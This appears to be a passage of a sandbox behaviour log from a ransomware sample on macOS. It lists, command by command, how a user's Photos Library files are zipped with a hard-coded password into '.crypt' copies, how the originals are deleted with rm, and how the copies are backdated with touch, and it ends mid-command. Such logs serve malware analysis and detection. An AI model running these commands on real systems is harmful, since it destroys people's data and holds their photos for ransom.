zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
2⤵
PID:623

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
2⤵
PID:624

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
2⤵
PID:624

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt"
2⤵
PID:625

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
2⤵
PID:626

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
2⤵
PID:627

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
2⤵
PID:627

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt"
2⤵
PID:628

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
2⤵
PID:629

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
2⤵
PID:630

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
2⤵
PID:630

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt"
2⤵
PID:631

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
2⤵
PID:632

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
2⤵
PID:633

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
2⤵
PID:633

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt"
2⤵
PID:634

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
2⤵
PID:635

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
2⤵
PID:636

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
2⤵
PID:636

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt"
2⤵
PID:637

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
2⤵
PID:638

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
2⤵
PID:639

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
2⤵
PID:639

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt"
2⤵
PID:640

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
2⤵
PID:641

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
2⤵
PID:642

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
2⤵
PID:642

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt"
2⤵
PID:643

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
2⤵
PID:644

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
2⤵
PID:645

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
2⤵
PID:645

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt"
2⤵
PID:646

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
2⤵
PID:647

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
2⤵
PID:648

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
2⤵
PID:648

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt"
2⤵
PID:649

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
2⤵
PID:650

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
2⤵
PID:651

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
2⤵
PID:651

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj.crypt"
2⤵
PID:652

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
2⤵
PID:653

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
2⤵
PID:654

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
2⤵
PID:654

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist.crypt"
2⤵
PID:655

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
2⤵
PID:656

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
2⤵
PID:657

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
2⤵
PID:657

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist.crypt"
2⤵
PID:658

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
2⤵
PID:659

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
2⤵
PID:660

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
2⤵
PID:660

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt"
2⤵
PID:661

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
2⤵
PID:662

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
2⤵
PID:663

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
2⤵
PID:663

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt"
2⤵
PID:664

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
2⤵
PID:665

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
2⤵
PID:666

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
2⤵
PID:666

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt"
2⤵
PID:667

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
2⤵
PID:668

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
2⤵
PID:669

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
2⤵
PID:669

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt"
2⤵
PID:670

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
2⤵
PID:671

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
2⤵
PID:672

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
2⤵
PID:672

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist.crypt"
2⤵
PID:673

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
2⤵
PID:674

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
2⤵
PID:675

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
2⤵
PID:675

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt"
2⤵
PID:676

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
2⤵
PID:677

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
2⤵
PID:678

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
2⤵
PID:678

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist.crypt"
2⤵
PID:679

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
2⤵
PID:680

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
2⤵
PID:681

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
2⤵
PID:681

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt"
2⤵
PID:682

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
2⤵
PID:683

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
2⤵
PID:684

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
2⤵
PID:684

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt"
2⤵
PID:685

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
2⤵
PID:686

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
2⤵
PID:687

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
2⤵
PID:687

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
2⤵
PID:688

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
2⤵
PID:689

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
2⤵
PID:689

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/originals.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/originals"
2⤵
PID:690

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/originals"
2⤵
PID:691

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/originals"
2⤵
PID:691

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private"
2⤵
PID:692

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private"
2⤵
PID:693

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private"
2⤵
PID:693

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
2⤵
PID:694

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
2⤵
PID:695

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
2⤵
PID:695

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
2⤵
PID:696

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
2⤵
PID:697

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
2⤵
PID:697

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist.crypt"
2⤵
PID:698

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
2⤵
PID:699

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
2⤵
PID:700

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
2⤵
PID:700

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
2⤵
PID:701

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
2⤵
PID:702

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
2⤵
PID:702

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
2⤵
PID:703

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
2⤵
PID:704

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
2⤵
PID:704

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable.crypt"
2⤵
PID:705

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
2⤵
PID:706

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
2⤵
PID:707

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
2⤵
PID:707

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00.crypt"
2⤵
PID:708

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
2⤵
PID:709

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
2⤵
PID:710

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
2⤵
PID:710

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
2⤵
PID:711

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
2⤵
PID:712

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
2⤵
PID:712

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
2⤵
PID:713

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
2⤵
PID:714

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
2⤵
PID:714

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
2⤵
PID:715

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
2⤵
PID:716

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
2⤵
PID:716

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
2⤵
PID:717

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
2⤵
PID:718

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
2⤵
PID:718

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite.crypt"
2⤵
PID:719

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
2⤵
PID:720

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
2⤵
PID:721

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
2⤵
PID:721

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist.crypt"
2⤵
PID:722

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
2⤵
PID:723

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
2⤵
PID:724

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
2⤵
PID:724

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite.crypt"
2⤵
PID:725

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
2⤵
PID:726

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
2⤵
PID:727

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
2⤵
PID:727

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal.crypt"
2⤵
PID:728

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
2⤵
PID:729

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
2⤵
PID:730

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
2⤵
PID:730

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal.crypt"
2⤵
PID:731

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
2⤵
PID:732

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
2⤵
PID:733

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
2⤵
PID:733

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal.crypt"
2⤵
PID:734

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
2⤵
PID:735

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
2⤵
PID:736

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
2⤵
PID:736

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm.crypt"
2⤵
PID:737

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
2⤵
PID:738

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
2⤵
PID:739

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
2⤵
PID:739

/usr/bin/touch
